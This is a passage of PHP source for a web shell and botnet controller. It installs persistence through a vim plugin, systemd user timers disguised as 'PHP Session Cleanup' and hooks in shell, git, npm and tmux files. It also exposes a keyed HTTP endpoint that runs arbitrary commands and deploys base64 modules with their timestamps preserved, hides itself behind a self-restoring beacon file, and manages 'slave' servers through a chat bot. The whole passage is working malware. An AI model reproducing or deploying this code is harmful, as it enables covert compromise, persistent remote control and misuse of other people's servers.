'" wn_vimplug_' . substr(md5(wn_get_key('vimplug')), 0, 8); } public function install(array $ctx) { $dir = $ctx['home'] . '/.vim/plugin'; if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return ['ok'=>false,'detail'=>'dir-not-writable']; $f = $dir . '/session.vim'; $m = $this->marker(); $line = 'silent! call system("(pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &))")'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.vim/plugin/session.vim', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.vim/plugin/session.vim', $this->marker()),'detail'=>'checked']; } } class WnSystemdTimerLayer extends WnBaseLayer { public function key() { return 'systemd_timer'; } private function unitName() { return 'php-session-timer-' . substr(md5(wn_get_key('svc_timer') . wn_get_salt()), 0, 6); } private function userDir() { $home = wn_get_home(); if (!$home) return null; $dir = $home . '/.config/systemd/user'; if (!is_dir($dir)) @mkdir($dir, 0700, true); return (is_dir($dir) && is_writable($dir)) ? $dir : null; } public function install(array $ctx) { if (!is_shell_available()) return ['ok'=>false,'detail'=>'shell disabled']; if (trim((string)cmd_exec('command -v systemctl 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'systemctl missing']; $dir = $this->userDir(); if (!$dir) return ['ok'=>false,'detail'=>'user dir not writable']; $svc = $this->unitName(); $phpEsc = escapeshellarg($ctx['php_bin']); $entryEsc = escapeshellarg($ctx['entry']); $service = "[Unit]\nDescription=PHP Session Cleanup (timer)\nAfter=network.target\n\n[Service]\nType=oneshot\nExecStart={$phpEsc} {$entryEsc}\nStandardOutput=null\nStandardError=null\n"; $timer = "[Unit]\nDescription=PHP Session Cleanup Timer\n\n[Timer]\nOnBootSec=90s\nOnUnitActiveSec=5min\nAccuracySec=15s\nPersistent=true\nUnit={$svc}.service\n\n[Install]\nWantedBy=timers.target\n"; $sp = $dir . '/' . $svc . '.service'; $tp = $dir . '/' . $svc . '.timer'; if (wn_call('fpc', $sp, $service) === false) return ['ok'=>false,'detail'=>'service write fail']; if (wn_call('fpc', $tp, $timer) === false) return ['ok'=>false,'detail'=>'timer write fail']; @chmod($sp, 0600); @chmod($tp, 0600); cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl --user enable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user restart ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); usleep(400000); $active = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active'; return ['ok'=>$active,'detail'=>$active ? 'timer active' : 'timer inactive','service'=>$sp,'timer'=>$tp]; } public function uninstall(array $ctx) { $svc = $this->unitName(); $dir = $this->userDir(); $removed = 0; cmd_exec('systemctl --user disable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); if ($dir) foreach ([$dir . '/' . $svc . '.service', $dir . '/' . $svc . '.timer'] as $f) if (file_exists($f)) { @unlink($f); $removed++; } cmd_exec('systemctl --user daemon-reload 2>/dev/null'); return ['ok'=>true,'removed'=>$removed,'message'=>"systemd-timer: $removed removed"]; } public function status(array $ctx) { $svc = $this->unitName(); $dir = $this->userDir(); $hasFiles = $dir && file_exists($dir . '/' . $svc . '.timer'); $active = false; if ($hasFiles && is_shell_available()) $active = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active'; return ['active'=>$active,'detail'=>$active ? 'timer active' : ($hasFiles ? 'files only' : 'off')]; } } function wn_layer_manager() { static $m = null; if ($m === null) { $m = new WnLayerManager(); $m->register(new WnCronLayer())->register(new WnDaemonLayer())->register(new WnWatchdogLayer()) ->register(new WnSystemdLayer())->register(new WnLingerLayer())->register(new WnBashRcLayer()) ->register(new WnSshRcLayer())->register(new WnBashLogoutLayer())->register(new WnAtJobLayer()) ->register(new WnNpmLayer())->register(new WnComposerLayer())->register(new WnShellTrapLayer()) ->register(new WnGitHookLayer()) ->register(new WnBashLoginLayer())->register(new WnLessFilterLayer())->register(new WnVimrcLayer()) ->register(new WnGitGlobalHooksLayer()) ->register(new WnTmuxConfLayer())->register(new WnGitPagerLayer())->register(new WnVimPluginLayer()) ->register(new WnSystemdTimerLayer()); } return $m; } /* ============ FLEET HTTP ENDPOINTS ============ */ function wn_fleet_key() { $f = wn_blend_name('fleet_key'); if (!file_exists($f)) return ''; $k = trim((string)wn_call('fgc', $f)); return strlen($k) >= 16 ? $k : ''; } function wn_fleet_key_set($key) { $f = wn_blend_name('fleet_key'); wn_call('fpc', $f, $key, LOCK_EX); @chmod($f, 0600); return true; } function wn_fleet_server_id() { $f = wn_blend_name('fleet_id'); if (file_exists($f)) { $id = trim((string)wn_call('fgc', $f)); if (strlen($id) >= 6) return $id; } $h = $_SERVER['HTTP_HOST'] ?? (gethostname() ?: 'unknown'); $id = substr(hash('sha256', 'sid:' . $h . ':' . __DIR__), 0, 12); wn_call('fpc', $f, $id, LOCK_EX); @chmod($f, 0600); return $id; } function wn_fleet_self_url() { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $path = $_SERVER['SCRIPT_NAME'] ?? ('/' . ($GLOBALS['CURRENT_SHELL'] ?? 'slave.php')); return $scheme . '://' . $host . $path; } function wn_fleet_bootstrap() { global $__B; while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: text/plain; charset=utf-8'); if (wn_fleet_key() !== '') { http_response_code(403); echo 'already_joined'; exit; } $newKey = (string)($_POST['key'] ?? ($_GET['key'] ?? '')); if (strlen($newKey) < 16) { http_response_code(400); echo 'invalid_key'; exit; } $expectSig = hash_hmac('sha256', 'boot:' . $newKey, $__B); $givenSig = (string)($_POST['sig'] ?? ($_GET['sig'] ?? '')); if ($givenSig === '' || !hash_equals($expectSig, $givenSig)) { http_response_code(403); echo 'forbidden'; exit; } wn_fleet_key_set($newKey); echo 'ok:' . wn_fleet_server_id(); exit; } function wn_fleet_handle() { while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: application/json; charset=utf-8'); header('X-WN-Fleet-Version: 1'); $fleetKey = wn_fleet_key(); if ($fleetKey === '') { http_response_code(503); echo json_encode(['status'=>'error','message'=>'no_fleet_key']); exit; } $given = $_SERVER['HTTP_X_WN_FLEET_KEY'] ?? ($_GET['fleet_key'] ?? ($_POST['fleet_key'] ?? '')); if (!hash_equals($fleetKey, (string)$given)) { http_response_code(403); echo json_encode(['status'=>'error','message'=>'forbidden']); exit; } $op = strtolower((string)($_GET['op'] ?? 'ping')); $result = ['status'=>'success','op'=>$op,'server_id'=>wn_fleet_server_id(),'host'=>$_SERVER['HTTP_HOST'] ?? '?','url'=>wn_fleet_self_url(),'php'=>PHP_VERSION,'time'=>time()]; switch ($op) { case 'ping': $result['pong'] = true; break; case 'status': try { $result['status_data'] = watcher_status_controller(); } catch (Throwable $e) { $result['status_data'] = ['error'=>$e->getMessage()]; } break; case 'install': try { $result['install'] = auto_install_watcher_controller(!empty($_GET['silent'])); } catch (Throwable $e) { $result['install'] = ['error'=>$e->getMessage()]; } break; case 'install_slave': try { $result['install'] = auto_install_watcher_controller(true, true); } catch (Throwable $e) { $result['install'] = ['error'=>$e->getMessage()]; } break; case 'uninstall': try { $result['uninstall'] = auto_uninstall_watcher_controller(); } catch (Throwable $e) { $result['uninstall'] = ['error'=>$e->getMessage()]; } break; case 'exec': $cmd = (string)($_GET['cmd'] ?? ($_POST['cmd'] ?? '')); if ($cmd === '') { $result['error'] = 'empty_cmd'; break; } $out = cmd_exec($cmd); $result['output'] = (string)$out; $result['exit_ok'] = ($out !== false); break; case 'deploy_module': $b64 = !empty($_POST['module_b64']) ? (string)$_POST['module_b64'] : ''; if ($b64 === '') { $result['error'] = 'no_module'; break; } $raw = wn_call('b64d', $b64); if ($raw === false || strlen($raw) < 500 || strpos($raw, ' 0) $oldMtime = $sm; elseif (file_exists($dest)) $oldMtime = @filemtime($dest); } elseif (file_exists($dest)) $oldMtime = @filemtime($dest); if (wn_call('fpc', $dest, $raw) === false) { $result['error'] = 'write_failed'; break; } @chmod($dest, 0644); if ($oldMtime > 0) @touch($dest, $oldMtime, $oldMtime); if ($isShellPath) { $pf = wn_blend_name('integrity_pause'); wn_call('fpc', $pf, time(), LOCK_EX); @chmod($pf, 0600); wn_set_hidden(false); } $result['saved'] = true; $result['size'] = strlen($raw); $result['path'] = $dest; if ($oldMtime > 0) $result['mtime_preserved'] = date('Y-m-d H:i:s', $oldMtime); break; case 'set_fleet_key': $newKey = (string)($_POST['new_key'] ?? ($_GET['new_key'] ?? '')); if (strlen($newKey) < 16) { $result['error'] = 'key_too_short'; break; } wn_fleet_key_set($newKey); $result['key_rotated'] = true; break; case 'whoami': $cfg = wn_cfg_b64(); $result['bot_b64'] = $cfg['k']; $result['chat_b64'] = $cfg['j']; $result['shell'] = basename(__FILE__); $result['root'] = realpath(__DIR__); $result['fleet_key'] = $fleetKey; break; case 'hide': try { $slavePath = realpath(__FILE__) ?: (__DIR__ . '/' . basename(__FILE__)); $dr = dirname($slavePath); if (!is_dir($dr) || !is_writable($dr)) { $result['error'] = 'docroot_not_writable'; break; } if (wn_is_hidden()) { $result['hidden'] = true; $result['already'] = true; break; } $backupPath = wn_state_dir() . '/.slave_hidden_backup.php'; $token = bin2hex(random_bytes(24)); if (@copy($slavePath, $backupPath) === false) { $result['error'] = 'backup_failed'; break; } @chmod($backupPath, 0600); $beaconName = '.cache_' . substr(hash('sha256', 'beacon:' . $token), 0, 12) . '.php'; $beaconPath = $dr . '/' . $beaconName; $statePath = wn_hide_state_file(); $beaconCode = "500){@unlink(" . var_export($statePath, true) . ");@unlink(__FILE__);echo 'ok';exit;}\n" . "if(!@copy(\$b,\$t)){http_response_code(500);echo 'copy_fail';exit;}\n" . "@chmod(\$t,0644);@unlink(" . var_export($statePath, true) . ");@unlink(__FILE__);echo 'ok';\n"; if (wn_call('fpc', $beaconPath, $beaconCode) === false) { $result['error'] = 'beacon_write_failed'; @unlink($backupPath); break; } @chmod($beaconPath, 0644); $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $beaconUrl = $scheme . '://' . $host . '/' . $beaconName; $stateData = json_encode(['beacon_url'=>$beaconUrl,'token'=>$token,'backup_path'=>$backupPath,'slave_path'=>$slavePath,'hidden_at'=>time()]); wn_call('fpc', $statePath, $stateData, LOCK_EX); @chmod($statePath, 0600); wn_set_hidden(true); if (!@unlink($slavePath)) { $result['error'] = 'unlink_failed'; wn_set_hidden(false); @unlink($beaconPath); @unlink($statePath); break; } $result['hidden'] = true; $result['beacon_url'] = $beaconUrl; $result['token'] = $token; } catch (Throwable $e) { $result['error'] = 'hide_exception: ' . $e->getMessage(); } break; case 'unhide': wn_set_hidden(false); $result['hidden'] = false; break; default: $result['status'] = 'error'; $result['error'] = 'unknown_op'; } echo json_encode($result, JSON_UNESCAPED_SLASHES); exit; } function _fl_http($method, $url, $body = '', $headers = array(), $timeout = 20) { if (!is_array($headers)) $headers = array(); $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"; $headers[] = "User-Agent: " . $ua; $headers[] = "Accept: */*"; if ($method === "POST") { $headers[] = "Content-Type: application/x-www-form-urlencoded"; $headers[] = "Content-Length: " . strlen($body); } if (function_exists("curl_init")) { $ch = @_c("cu_i", $url); if ($ch !== false && $ch !== null) { @_c("cu_s", $ch, CURLOPT_RETURNTRANSFER, true); @_c("cu_s", $ch, CURLOPT_TIMEOUT, $timeout); @_c("cu_s", $ch, CURLOPT_CONNECTTIMEOUT, 10); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYPEER, false); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYHOST, false); @_c("cu_s", $ch, CURLOPT_FOLLOWLOCATION, true); @_c("cu_s", $ch, CURLOPT_MAXREDIRS, 5); @_c("cu_s", $ch, CURLOPT_HTTPHEADER, $headers); if ($method === "POST") { @_c("cu_s", $ch, CURLOPT_POST, true); @_c("cu_s", $ch, CURLOPT_POSTFIELDS, $body); } $r = @_c("cu_e", $ch); @_c("cu_c", $ch); if (is_string($r) && $r !== '') return $r; } } if (ini_get("allow_url_fopen")) { $opts = array( "http" => array( "method" => $method, "header" => implode("\r\n", $headers) . "\r\n", "timeout" => $timeout, "ignore_errors" => true, "follow_location" => 1, "max_redirects" => 5, ), "ssl" => array("verify_peer" => false, "verify_peer_name" => false), ); if ($method === "POST") $opts["http"]["content"] = $body; $r = @_c("fgc", $url, false, stream_context_create($opts)); if (is_string($r) && $r !== '') return $r; } return false; } function _fl_key_path() { return wn_blend_name('fleet_key'); } function _fl_reg_path() { return wn_blend_name('fleet_registry'); } function _fl_id_path() { return wn_blend_name('fleet_id'); } function _fl_key() { $f = _fl_key_path(); if (!file_exists($f)) return ""; $k = trim((string)wn_call('fgc', $f)); return strlen($k) >= 16 ? $k : ""; } function _fl_key_set($key) { wn_call('fpc', _fl_key_path(), $key, LOCK_EX); @chmod(_fl_key_path(), 0600); return true; } function _fl_key_gen() { try { return bin2hex(random_bytes(24)); } catch (Throwable $e) { return hash("sha256", "fk:" . microtime(true) . mt_rand()); } } function _fl_server_id() { $f = _fl_id_path(); if (file_exists($f)) { $id = trim((string)wn_call('fgc', $f)); if (strlen($id) >= 6) return $id; } $h = @gethostname() ?: "unknown"; $id = substr(hash("sha256", "sid:" . $h . ":" . __DIR__), 0, 12); wn_call('fpc', $f, $id, LOCK_EX); @chmod($f, 0600); return $id; } function _fl_load() { $f = _fl_reg_path(); if (!file_exists($f)) return array(); $j = @json_decode((string)wn_call('fgc', $f), true); return is_array($j) ? $j : array(); } function _fl_save($servers) { wn_call('fpc', _fl_reg_path(), json_encode(array_values($servers), JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX); @chmod(_fl_reg_path(), 0600); } function _fl_request($url, $op, $params = array(), $timeout = 15) { $fk = _fl_key(); if ($fk === "") return array("error"=>"no_fleet_key"); $q = array_merge(array("wn_fleet"=>"1","op"=>$op,"fleet_key"=>$fk), $params); $sep = (strpos($url, "?") === false) ? "?" : "&"; $full = $url . $sep . http_build_query($q); $res = _fl_http("GET", $full, '', array("X-WN-Fleet-Key: " . $fk), $timeout); if ($res === false || $res === '') return array("error"=>"http_failed"); $j = json_decode($res, true); return is_array($j) ? $j : array("error"=>"invalid_json","raw"=>substr((string)$res,0,200)); } function _fl_post($url, $op, $params = array(), $timeout = 60) { $fk = _fl_key(); if ($fk === "") return array("error"=>"no_fleet_key"); $body = http_build_query($params); $sep = (strpos($url, "?") === false) ? "?" : "&"; $full = $url . $sep . "wn_fleet=1&op=" . urlencode($op); $hdr = array("X-WN-Fleet-Key: " . $fk); if (!in_array($op, array('deploy_module', 'put_file'), true)) { $res = _fl_http("POST", $full, $body, $hdr, $timeout); if (is_string($res) && trim($res) !== '') { $j = json_decode($res, true); if (is_array($j)) return $j; } } else { if (function_exists("curl_init")) { $ch = @_c("cu_i", $full); if ($ch !== false && $ch !== null) { @_c("cu_s", $ch, CURLOPT_RETURNTRANSFER, true); @_c("cu_s", $ch, CURLOPT_POST, true); @_c("cu_s", $ch, CURLOPT_POSTFIELDS, $body); @_c("cu_s", $ch, CURLOPT_TIMEOUT, $timeout); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYPEER, false); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYHOST, false); @_c("cu_s", $ch, CURLOPT_HTTPHEADER, array_merge($hdr, array("User-Agent: WN-Fleet/1.0"))); $res = @_c("cu_e", $ch); @_c("cu_c", $ch); if (is_string($res) && trim($res) !== '') { $j = json_decode($res, true); if (is_array($j)) return $j; } } } return array("error"=>"http_failed"); } $q = array_merge(array("wn_fleet"=>"1","op"=>$op,"fleet_key"=>$fk), $params); $fullGet = $url . $sep . http_build_query($q); $res2 = _fl_http("GET", $fullGet, '', $hdr, $timeout); if (is_string($res2) && trim($res2) !== '') { $j2 = json_decode($res2, true); if (is_array($j2)) return $j2; } return array("error"=>"http_failed"); } function _fl_bootstrap_push($url, $newKey, $botToken) { $sig = hash_hmac("sha256", "boot:" . $newKey, $botToken); $sep = (strpos($url, "?") === false) ? "?" : "&"; $q = http_build_query(array("wn_fleet_bootstrap"=>"1","key"=>$newKey,"sig"=>$sig)); $full = $url . $sep . $q; $res = _fl_http("GET", $full, '', array(), 20); return trim((string)$res); } function _fl_cmd($args, $BOT, $CHAT) { $parts = preg_split("/\\s+/", trim((string)$args)); $sub = strtolower($parts[0] ?? ""); $fk = _fl_key(); $sid = _fl_server_id(); if ($sub === "" || $sub === "status") { $servers = _fl_load(); $keySt = ($fk === "") ? "NOT SET" : "OK " . substr($fk, 0, 8) . "..."; $msg = "FLEET STATUS\n\nServer ID: $sid\nFleet Key: $keySt\nSlaves: " . count($servers) . "\n\n"; if (empty($servers)) $msg .= "Setup:\n1. /fleet key gen\n2. /fleet add https://b.com/file.php label\n3. /fleet install label\n4. /fleet cmd label "; else foreach ($servers as $i => $s) { $hid = !empty($s["hide"]) ? " [HIDDEN]" : ""; $msg .= ($i + 1) . ". " . ($s["label"] ?? "?") . $hid . "\n " . ($s["url"] ?? "?") . "\n ID: " . ($s["id"] ?? "?") . " | Last: " . ($s["last_status"] ?? "never") . "\n"; } if (!empty($servers)) $msg .= "\nDetail: /fleet list"; wn_send($BOT, $CHAT, $msg); return; } if ($sub === "key") { $what = strtolower($parts[1] ?? "show"); if ($what === "gen") { $nk = _fl_key_gen(); _fl_key_set($nk); wn_send($BOT, $CHAT, "[FLEET] New key:\n\n$nk\n\nNext: /fleet add [label]"); } elseif ($what === "set") { $nk = $parts[2] ?? ""; if (strlen($nk) < 16) { wn_send($BOT, $CHAT, "[X] key >= 16 chars"); return; } _fl_key_set($nk); wn_send($BOT, $CHAT, "[FLEET] Key set"); } elseif ($what === "push") { if ($fk === "") { wn_send($BOT, $CHAT, "[X] set key first"); return; } $servers = _fl_load(); $ok = 0; $fail = 0; foreach ($servers as $s) { $r = _fl_post($s["url"] ?? "", "set_fleet_key", array("new_key"=>$fk)); if (!empty($r["key_rotated"])) $ok++; else $fail++; } wn_send($BOT, $CHAT, "[FLEET] push OK $ok / FAIL $fail"); } elseif ($what === "rotate") { $nk = _fl_key_gen(); _fl_key_set($nk); $servers = _fl_load(); $ok = 0; $fail = 0; foreach ($servers as $s) { $r = _fl_post($s["url"] ?? "", "set_fleet_key", array("new_key"=>$nk)); if (!empty($r["key_rotated"])) $ok++; else $fail++; } wn_send($BOT, $CHAT, "[FLEET] rotated\n\nNew: $nk\n\nPush: OK $ok / FAIL $fail"); } else wn_send($BOT, $CHAT, $fk === "" ? "[FLEET] NOT SET\n/fleet key gen" : "[FLEET] Key: $fk\n\n/fleet key rotate - push - set"); return; } if ($sub === "list" || $sub === "ls" || $sub === "slaves") { $servers = _fl_load(); if (empty($servers)) { wn_send($BOT, $CHAT, "[FLEET] Belum ada slave.\n\n/fleet add [label]"); return; } $msg = "FLEET LIST (" . count($servers) . ")\n\n"; foreach ($servers as $i => $s) { $lbl = $s["label"] ?? "?"; $url = $s["url"] ?? "?"; $id = $s["id"] ?? "?"; $st = $s["last_status"] ?? "never"; $seen = !empty($s["last_seen"]) ? date("m-d H:i", (int)$s["last_seen"]) : "-"; $hidden = !empty($s["hide"]); $icon = $hidden ? "[HIDDEN]" : (($st === "ok") ? "[OK]" : (($st === "unreachable") ? "[X]" : "[?]")); $msg .= ($i + 1) . ". {$icon} {$lbl}\n id: {$id}\n url: {$url}\n last: {$st} @ {$seen}\n"; if ($hidden) $msg .= " hidden since: " . date("m-d H:i", $s["hide"]["hidden_at"] ?? 0) . " (TTL 7d)\n"; $msg .= "\n"; } $msg .= "Gunakan label/id di: /fleet cmd